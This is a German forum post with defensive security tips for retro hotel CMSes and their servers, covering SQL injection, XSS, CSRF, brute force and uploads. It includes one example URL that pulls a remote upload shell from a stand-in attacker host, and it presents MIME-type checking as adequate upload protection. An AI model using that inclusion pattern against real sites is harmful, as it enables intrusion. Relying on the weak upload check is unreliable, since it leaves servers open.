Hallo Community,
ich gebe euch hier ein paar Tipps wie man seine Webanwendung + Server ordentlich sichert.
Achtung: Es ist ein sehr theoretischer Beitrag. Das heißt dass ich nicht direkte Codes oder Scripts zu Lösung anbiete, lediglich Vorgehensweisen dafür.
Vielen Retro Hotels (und vorallem den CMS'en in dieser Szene) mangelt es an Sicherheit.
Bisher hatte jedes gängige CMS eine CSRF Lücke die man, wenn man das CMS kennt ziemlich böse ausnutzen könnte.
(Web-)Server Sicherheit:
Vergebe nur benötigte Rechte
Solltest du Mitarbeiter haben, welche Zugriff auf deine Daten brauchen; gebe Ihnen nur die dafür benötigten Rechte.
Hast du zum Beispiel einen Katalog Manager für dein Hotel, gib ihm einen neuen Datenbank Account und nur die Rechte für die Katalog Seiten, Katalog Items und Hotel Items, mehr nicht. Lege Ihm dazu einen extra FTP Zugang, nur zu den jeweiligen SWF Ordnern an.
Nicht weil du der Person nicht vertraust, aber selbst deine Mitarbeiter können einmal gehackt werden.
Ändere Standard Ports und Namen
Lass deinen MySQL Server nicht unter den Benutzernamen root und über den Port 3306 laufen!
Ändere ihn zu einem geheimen Namen oder einer zufällig generierten Zeichenkette. Das selbe gilt für den Port.
Dies dürfte - selbst wenn jemand dein Passwort hat - Hackern den Zugang um einiges erschweren.
Updates
... werden nicht aus Spaß oder Langeweile released. Es ist keine Seltenheit, dass Sicherheitslücken selbst in großen Anwendungen gefunden werden. Bleibe deshalb immer (sofern möglich) auf dem neusten Stand deiner benutzten Software. Erkundige dich notfalls im Internet vorab ob die Version deiner Software eventuell Lücken hat.
DDoS Schutz
Hier heißt das Zauberwort nicht unbedingt Cloudflare, zumal man die IP sowieso leicht herausbekommen kann, sondern Proxy Server. Diese fangen den Traffic ab und filtern ihn. Ein Proxy Server kostet allerdings etwas.
Nutze komplizierte Passwörter
Lass sie dir am besten von einer externen Seite, welche zufällige Passwörter generiert vorgeben (z.B. http://www.gaijin.at/olspwgen.php)
Logge alle relevanten Sachen
Sollte dein System doch mal eine Lücke haben oder jemand seine Rechte missbraucht haben, bekommst du das durch Systemlogs raus. Lass deine Datenbank, deinen Server an sich und deinen Webserver Logs führen.
CMS Sicherheit
Um eine Webseite zu hacken gibt es die abstraktesten Möglichkeiten.
SQL-Injection
Nutze prepared Statements! Nimm dafür am besten MySQLi oder PDO in der PHP Umgebung.
XSS
Lass jegliche Eingaben, welche ein Nutzer getätigt hat beim Ausgeben wieder Filtern, sodass er keine Javascripte ausführen kann.
CSRF
Generiere für jeden Nutzer einen Token und speicher diesen in der Session ab. Verlange bei jeder POST Abfrage ein abgleich dieses Tokens.
Beispiel einer Gefahr:
Ein Administrator klickt auf den Link xyz.de/schaumal und ist währenddessen in seinem Hotel eingeloggt. Jetzt postet diese URL einen automatischen POST Request an die Webseite deines Hotels. Und ohne es zu wissen, kann er einen User bearbeitet haben und ihm einen Rang gegeben haben.
Bruteforce
Nutze beim Posten (vorzugsweise beim Login) ebenfalls Logs, welche protokollieren wie oft die Person es bereits Probiert hat. Verlange nach dem 3. oder 4. mal einen Google Captcha, welchen er erst betätigen muss.
Kein blindes Autoloading von Templates
Definiere jedes Template in deinem CMS vor (falls du ein MVC o.ä.) nutzt. Wenn ein Nutzer z.B. xyz.de/home aufruft, soll er nicht automatisch im Verzeichnis tpl/home.html nach der Datei suchen, da dies ebenfalls ausgenutzt werden kann, indem eine Person z.b. xyz.de/http://expl0it.org/uploadshell nutzt, wird diese Shell auf deinem Server eingebunden.
Upload Exploits
Prüfe beim Hochladen von Dateien den MIME Type der Datei, und nicht nur die Endung oder ähnliches.
Wenn du diese Schritte befolgst, dürftest du (was dein CMS angeht) auf der Sicheren Seite stehen.
Hier findest du noch ein gutes PHP Security Cookbook: http://commons.oreilly.com/wiki/index.php…on_and_Security
Und hier noch eins: https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet